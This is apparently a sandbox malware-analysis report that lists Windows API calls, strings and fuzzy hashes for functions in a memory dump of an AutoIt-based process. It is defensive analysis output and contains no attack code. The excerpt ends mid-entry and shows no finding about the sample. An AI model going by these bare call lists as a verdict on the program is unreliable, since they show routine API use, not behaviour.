Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: f3864b5053358be9f8d9348fba7e7e52087d9af64c2880c1a91c0cb7a3a8bf21
Instruction ID: dedbae2c6bc80b6b81a17ccbd1c48d5d7e31eac7d34120690dcd39539bd89a88
Opcode Fuzzy Hash: f3864b5053358be9f8d9348fba7e7e52087d9af64c2880c1a91c0cb7a3a8bf21
Instruction Fuzzy Hash: 2F11597250124DABDF228F99ED49FDF7BA9EF08704F144065FE04A2160C7B29E64EB60

Function 00C2C10C Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00C2C131
GetDeviceCaps.GDI32(00000000,00000058), ref: 00C2C142
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C2C149
ReleaseDC.USER32(00000000,00000000), ref: 00C2C151
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00C2C168
MulDiv.KERNEL32(000009EC,?,?), ref: 00C2C17A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: fa37572ff66303ffe048519a0461d400fceab7ea3560ea833fe8c791d8226cb3
Instruction ID: 10bbe3e0b8b498929cace791dd53da5c385b65642e6b8f3486bf5f02f6b3ecbe
Opcode Fuzzy Hash: fa37572ff66303ffe048519a0461d400fceab7ea3560ea833fe8c791d8226cb3
Instruction Fuzzy Hash: F9018475E00218BBEB109BA69C49B5FBFB8EF48351F104065FE04B7281D6B09D10CFA0

Function 00C5C2CD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00BD16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BD1729
Part of subcall function 00BD16CF: SelectObject.GDI32(?,00000000), ref: 00BD1738
Part of subcall function 00BD16CF: BeginPath.GDI32(?), ref: 00BD174F
Part of subcall function 00BD16CF: SelectObject.GDI32(?,00000000), ref: 00BD1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00C5C2F7
LineTo.GDI32(00000000,00000003,?), ref: 00C5C30B
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00C5C319
LineTo.GDI32(00000000,00000000,?), ref: 00C5C329
EndPath.GDI32(00000000), ref: 00C5C339
StrokePath.GDI32(00000000), ref: 00C5C349

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 6b8ebadf6cea729e075eaae67453658a0f8175d878dc3c26b89d0b2b65c74c1c
Instruction ID: a1d10d109da780073919904306dc9aa6213afee383ba36874f247e57709bf907
Opcode Fuzzy Hash: 6b8ebadf6cea729e075eaae67453658a0f8175d878dc3c26b89d0b2b65c74c1c
Instruction Fuzzy Hash: 5911B77600010DBFDB129F95DC88FAE7FADEB08354F148061FA195A1A0D7B29E95DBA0

Function 00BF06E6 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00BF0717
MapVirtualKeyW.USER32(00000010,00000000), ref: 00BF071F
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00BF072A
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00BF0735
MapVirtualKeyW.USER32(00000011,00000000), ref: 00BF073D
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BF0745

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: c8071bf48434589998bc6544bd59768767ef922413ef1c3d103fdb281ac17d7d
Instruction ID: a971ddc40e628c32db86b69d5020b41a0d3dc36c72ca410942bf60a69e970e98
Opcode Fuzzy Hash: c8071bf48434589998bc6544bd59768767ef922413ef1c3d103fdb281ac17d7d
Instruction Fuzzy Hash: B50148B09017597DE3008F5A8C85B56FEA8FF59354F00411BA15847941C7F5A864CBE5

Function 00C35811 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00C35821
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00C35837
GetWindowThreadProcessId.USER32(?,?), ref: 00C35846
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C35855
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C3585F
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C35866

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: d1870c4e23174caacd9dbb5e21f1a22a5d9489d1ca6bf43cfb569f87803fec95
Instruction ID: fbec778bbb59029e8e011569f7851922387b61a54e8cffd7fb06e88bb34eb5b6
Opcode Fuzzy Hash: d1870c4e23174caacd9dbb5e21f1a22a5d9489d1ca6bf43cfb569f87803fec95
Instruction Fuzzy Hash: 9DF01D32241558BBE7315B93DC0DFEF7A7CEBC6B12F100159FA04A1050D7E05A1186B5

Function 00C37658 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00C3766B
EnterCriticalSection.KERNEL32(?,?,00BDC2B6,?,?), ref: 00C3767C
TerminateThread.KERNEL32(00000000,000001F6,?,00BDC2B6,?,?), ref: 00C37689
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00BDC2B6,?,?), ref: 00C37696

Part of subcall function 00C3705D: CloseHandle.KERNEL32(00000000,?,00C376A3,?,00BDC2B6,?,?), ref: 00C37067

InterlockedExchange.KERNEL32(?,000001F6), ref: 00C376A9
LeaveCriticalSection.KERNEL32(?,?,00BDC2B6,?,?), ref: 00C376B0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: a521f4f34965a7f39134358ec07076dee2fd09ddd340191b2ca5a3646c03dd14
Instruction ID: 476f44fffd8ff30aaa1f6e35b8e980e7de7d9c4a238c133ba7d7b68b697d96ad
Opcode Fuzzy Hash: a521f4f34965a7f39134358ec07076dee2fd09ddd340191b2ca5a3646c03dd14
Instruction Fuzzy Hash: 1FF05E72165611ABDB312B65EC9DBAF7739FF46702F240926F602B10A1CBB55901CB60

Function 00C2932D Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00C29338
UnloadUserProfile.USERENV(?,?), ref: 00C29344
CloseHandle.KERNEL32(?), ref: 00C2934D
CloseHandle.KERNEL32(?), ref: 00C29355
GetProcessHeap.KERNEL32(00000000,?), ref: 00C2935E
HeapFree.KERNEL32(00000000), ref: 00C29365

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: a653fbf991a48fea03b64b7ee55dc61fa3296f8b11364f0a943b9021ce70d0ef
Instruction ID: 959f2380db63c9d07d0af0e937900270dd8894785a62744e029a0be07826f646
Opcode Fuzzy Hash: a653fbf991a48fea03b64b7ee55dc61fa3296f8b11364f0a943b9021ce70d0ef
Instruction Fuzzy Hash: 80E0E536004101BBDB121FE2EC0CB5FBF39FF4A722B204620F215A1170CBB2A460DB50

Function 00C48A9F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C48AC5
CharUpperBuffW.USER32(?,?), ref: 00C48BD4
VariantClear.OLEAUT32(?), ref: 00C48D4C

Part of subcall function 00C3798A: VariantInit.OLEAUT32(00000000), ref: 00C379CA
Part of subcall function 00C3798A: VariantCopy.OLEAUT32(00000000,?), ref: 00C379D3
Part of subcall function 00C3798A: VariantClear.OLEAUT32(00000000), ref: 00C379DF

Strings

Incorrect Parameter format, xrefs: 00C48AFD, 00C48CBF
AUTOIT.ERROR, xrefs: 00C48BDA

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 42453ee6803ea12f54f41ae92302659ad34d34765e6a475cd7323febede8aee8
Instruction ID: cc199c1f1e19507c9b26ac14dcc3dec7fc24e8b13fb60dfbda834ab8d3d2dad7
Opcode Fuzzy Hash: 42453ee6803ea12f54f41ae92302659ad34d34765e6a475cd7323febede8aee8
Instruction Fuzzy Hash: 26916A70A043019FC710EF25C48496EBBE4FF89714F14896EF89A8B362DB31E949CB52

Function 00C330AA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE436A: _wcscpy.LIBCMT ref: 00BE438D

_memset.LIBCMT ref: 00C3319B
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00C331CA
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00C3327D
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00C332AB

Strings

0, xrefs: 00C33187

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: d23d160899bdc3cda40a25d31671092e2c1f997186859d5650e6ff9da017aecf
Instruction ID: d091e45298400cb85f9304a68f72929afcef46e063c32605e383d1f4ccbf8f36
Opcode Fuzzy Hash: d23d160899bdc3cda40a25d31671092e2c1f997186859d5650e6ff9da017aecf
Instruction Fuzzy Hash: FB51D1716283819ADB25EF29D84576BBBE4EF45310F040A2DF8A5D31E2DB71CF048796

Function 00C5DC66 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00C487D6,?,00000000), ref: 00C5DCCE
SetErrorMode.KERNEL32(00000001,?,00000000,00000000,00000000,?,00C487D6,?,00000000,00000000), ref: 00C5DD04
GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 00C5DD15
SetErrorMode.KERNEL32(00000000,?,00000000,00000000,00000000,?,00C487D6,?,00000000,00000000), ref: 00C5DD97

Strings

DllGetClassObject, xrefs: 00C5DD0A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 404766c4779bddf54ae6354b20dedf777bd8eadca7db52e09a592c65f5c5db86
Instruction ID: 7b3f41a71db391b7525175e11eb6d1754ab6d81da32cbbdae4ccd987fd7cf1ef
Opcode Fuzzy Hash: 404766c4779bddf54ae6354b20dedf777bd8eadca7db52e09a592c65f5c5db86
Instruction Fuzzy Hash: 2541B475600305EFDB25DF65C884B9A7BB9EF45311F1080ADEC069F205D7B1DA88CBA4

Function 00C32D66 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C32DD3
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00C32DEF
DeleteMenu.USER32(?,00000007,00000000), ref: 00C32E35
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00C96890,00000000), ref: 00C32E7E

Strings

0, xrefs: 00C32DC8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 6201b4fd54d4e018d29e67687e7b82d57e23d912a369492e7c37b5ba2cd22c0a
Instruction ID: fd060c21377930199b3df14d456642da21375f52b3deeea35a252818d6d08e81
Opcode Fuzzy Hash: 6201b4fd54d4e018d29e67687e7b82d57e23d912a369492e7c37b5ba2cd22c0a
Instruction Fuzzy Hash: 89419F702143419FDB24DF29C885B2AB7E8AF89311F14462EF9A6973D1D770E905CB62

Function 00C4DC56 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00C4DC76

Part of subcall function 00BE1462: _memmove.LIBCMT ref: 00BE14B0

Strings

winapi, xrefs: 00C4DCE7
cdecl, xrefs: 00C4DCCD
stdcall, xrefs: 00C4DCF8
none, xrefs: 00C4DD51

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 4b47799b814e376e3e8b742718c7272445e452e82c58ae4b800620320a5b3f7a
Instruction ID: 3a65e5f117e985c5d0b85fd6958b4e90a765b65efc7b26ea1ac5108ead615412
Opcode Fuzzy Hash: 4b47799b814e376e3e8b742718c7272445e452e82c58ae4b800620320a5b3f7a
Instruction Fuzzy Hash: 9B318370A10619ABCF04FF54C8419FEB3B4FF55314B208A6AE836977D2DB71A905CB90

Function 00C2982B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C2B57D: GetClassNameW.USER32(?,?,000000FF), ref: 00C2B5A0

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00C298AF
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00C298C2
SendMessageW.USER32(?,00000189,?,00000000), ref: 00C298F2

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Strings

ListBox, xrefs: 00C2986E
ComboBox, xrefs: 00C29839

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 622c3acf56b922632dfbefb565b6cff44e76b851ba5418eafa59449b79b7754b
Instruction ID: b0446f4a6f7f18bdb8b59903663d55bb1adf7bbd8d5fafde0f1cf6fc41994183
Opcode Fuzzy Hash: 622c3acf56b922632dfbefb565b6cff44e76b851ba5418eafa59449b79b7754b
Instruction Fuzzy Hash: D6212671900108AEDB24BBA5DC45DFFB7B8EF41360F204529F835A76E1DB354E499660

Function 00C41CDD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00C41CFC
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C41D22
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00C41D52
InternetCloseHandle.WININET(00000000), ref: 00C41D99

Part of subcall function 00C42933: GetLastError.KERNEL32(?,?,00C41CC7,00000000,00000000,00000001), ref: 00C42948
Part of subcall function 00C42933: SetEvent.KERNEL32(?,?,00C41CC7,00000000,00000000,00000001), ref: 00C4295D

Strings

, xrefs: 00C41D43

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 8154d8ee3cc87670c1a3904f3adf2a2b1b93b8c1308c39c354dd4407266eef29
Instruction ID: 5b521b85a69165a82548f7e0fe3d283856a9435e25658a1d7fc22cd5217961f9
Opcode Fuzzy Hash: 8154d8ee3cc87670c1a3904f3adf2a2b1b93b8c1308c39c354dd4407266eef29
Instruction Fuzzy Hash: AD21CFB1900208BFE7229F24CC85FBF77FCFB48744F14411AF955A2240DB609E459BA0

Function 00C567D4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BD214F
Part of subcall function 00BD2111: GetStockObject.GDI32(00000011), ref: 00BD2163
Part of subcall function 00BD2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BD216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00C5684E
LoadLibraryW.KERNEL32(?), ref: 00C56855
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00C5686A
DestroyWindow.USER32(?), ref: 00C56872

Strings

SysAnimate32, xrefs: 00C56829

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 837d7205d9303a071e45446552cd41ec8dc5c31ce3ce3feee8cc7000f7fe4967
Instruction ID: fcae688e8bda2d056d69daa7740219802b9623499c0c05ecc83ad889c705db3b
Opcode Fuzzy Hash: 837d7205d9303a071e45446552cd41ec8dc5c31ce3ce3feee8cc7000f7fe4967
Instruction Fuzzy Hash: 0821DB79200205ABEF204F74CC80FBB73A9EB58329FA04628FE60931D0CB71DC959724

Function 00C371C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00C371E4
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00C37217
GetStdHandle.KERNEL32(0000000C), ref: 00C37229
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00C37263

Strings

nul, xrefs: 00C3725E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 4821202d502286e18b7f4b03102b6e3d76e6549228a842d2b59f6ab16bbf4ae1
Instruction ID: c7fc94946c91bfe297d4954bceea2eda8cecdca47c82b3d9e5b52c580fa9fa6a
Opcode Fuzzy Hash: 4821202d502286e18b7f4b03102b6e3d76e6549228a842d2b59f6ab16bbf4ae1
Instruction Fuzzy Hash: 052190B1518206EBDB309F29DC04B9E77A4AF45720F204B19FCB4E72D0DBB19950DB50

Function 00C37292 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

